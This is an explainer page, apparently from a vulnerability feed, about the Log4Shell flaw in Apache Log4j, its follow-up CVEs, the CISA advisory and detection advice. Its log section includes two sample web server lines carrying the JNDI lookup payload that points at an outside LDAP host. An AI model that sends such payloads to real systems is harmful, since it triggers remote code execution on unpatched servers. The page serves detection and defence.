What Is Log4Shell? CVE-2021-44228

Last verified on Nov 8, 2026.

Log4Shell is the nickname for CVE-2021-44228, a critical remote code execution flaw in Apache Log4j 2. Apache's advisory describes it plainly: Log4j's JNDI features do not protect against attacker-controlled LDAP and other JNDI endpoints, so an attacker who controls log messages or log message parameters can execute arbitrary code loaded from LDAP servers.

The reason it was so widespread is in the sentence "controls log messages." Applications log whatever users send, such as a request header, a username, or a search term. If any of that reached Log4j, the attacker's text was interpreted, not just stored.

Facts at a Glance

Follow-up flaws changed the advice. CVE-2021-45046 found the 2.15.0 fix incomplete in some non-default configurations and was fixed in 2.16.0. CVE-2021-45105 (denial of service by infinite recursion) was fixed in 2.17.0 for Java 8 and later, 2.12.3 for Java 7, and 2.3.1 for Java 6. CVE-2021-44832 (JDBC appender with a JNDI data source) was fixed in 2.17.1, 2.12.4, and 2.3.2. From 2.16.0 the JNDI lookup behavior is removed entirely.

What It Looks Like in Logs

Exploit attempts arrive as a lookup string in any field that gets logged. These illustrative web server lines show the shape, using documentation IP addresses:

203.0.113.50 - - [10/Dec/2021:03:14:07 +0000] "GET /?q=${jndi:ldap://203.0.113.99:1389/a} HTTP/1.1" 200 1432 "-" "Mozilla/5.0"
203.0.113.50 - - [10/Dec/2021:03:14:08 +0000] "GET /login HTTP/1.1" 200 5120 "-" "${jndi:ldap://203.0.113.99:1389/a}"

A 200 does not mean the attack worked or failed. What matters is whether the application logged the value through a vulnerable Log4j, and whether the server then connected out to the address in the string. Public regex and bypass write-ups, which the NVD record links, show that simple string matching can be evaded, so decode first, then match. The method is covered in SQL injection and attack payload detection, and the incident workflow in checking logs for exploit attempts after a CVE.

Success leaves different traces. Apache's description says the code is loaded from an LDAP server, so look for an outbound connection from an application server to an unfamiliar host, followed by a new child process or file.

What CISA and Partners Advised

The joint advisory AA21-356a, from CISA, the FBI, NSA, and agencies in Australia, Canada, New Zealand, and the UK, listed three steps: identify affected assets, upgrade, and hunt. It told organizations to assume Log4j assets may have been compromised, to inspect accounts that exist on or connect to them, and to inspect configuration changes made since December 1, 2021.

It adds a point worth repeating: keep an inventory of what you patched, because actors may compromise an asset and then patch it to protect their own access.

Lessons That Still Apply

• Know your dependencies. Knowing where a library runs is the hard part of the first hour. See SBOM.
• Do not log raw untrusted input into a component that interprets it.
• Patching is not the end. A CVE with confirmed exploitation, listed in CISA KEV, calls for a hunt as well.
• Follow-up CVEs matter. The first fix was not the last.

Checking Log4j on cve.now

cve.now, a free vulnerability feed from Sazabi, has a page for CVE-2021-44228 and a Log4j technology feed. Its stack check takes Maven coordinates, such as maven:org.apache.logging.log4j:log4j-core@2.14.1, and lists matching vulnerabilities. Sazabi, an AI-native observability and security platform, gives its agent that check through the cve.now connector. To hear about the next one early, see new advisories.